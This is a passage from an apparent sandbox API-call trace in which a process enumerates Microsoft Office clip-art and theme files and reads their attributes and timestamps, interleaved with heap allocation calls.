nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0071.766] GetLastError () returned 0x12 [0071.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22308) returned 1 [0071.767] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0071.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22410) returned 1 [0071.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0071.767] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 0 [0071.767] GetLastError () returned 0x12 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0071.768] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa257c8) returned 1 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0071.768] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 0 [0071.768] GetLastError () returned 0x12 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25630) returned 1 [0071.768] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa255a8) returned 1 [0071.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0071.768] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="")) returned 1 [0071.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0071.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0071.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0071.812] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0071.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa757b0 [0071.812] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa757b0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa757b0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0071.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa757b0) returned 1 [0071.812] NtClose (Handle=0x170) returned 0x0 [0071.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0071.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0071.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa255a8 [0071.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25630 [0071.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9140 [0071.999] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.046] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="")) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa255a8) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d848 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22410 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.046] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="")) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d868 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="")) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d888 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa255a8 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="")) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d8a8 [0072.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa25278 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="")) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d8c8 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="")) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d8e8 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa757c8 [0072.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2b00) returned 0xa7d748 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7ac80) returned 1 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.049] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="")) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d908 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa758d0 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.049] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="")) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d928 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa257c8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="")) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d948 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa759d8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="")) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d968 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa75ae0 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.051] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="")) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d988 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa75be8 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.051] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="")) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 